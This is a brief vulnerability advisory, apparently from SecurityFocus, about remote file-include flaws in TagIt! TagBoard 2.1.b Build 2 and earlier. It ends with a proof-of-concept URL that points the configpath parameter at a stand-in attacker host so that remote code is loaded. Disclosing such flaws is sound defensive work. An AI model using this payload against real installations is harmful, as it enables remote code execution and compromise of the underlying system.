source: https://www.securityfocus.com/bid/22518/info
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
TagBoard 2.1.b Build 2 and prior versions are vulnerable.
http://www.example.com/[TagIt_path]/CONFIG/errmsg.inc.php?configpath=http://example2.com/evil?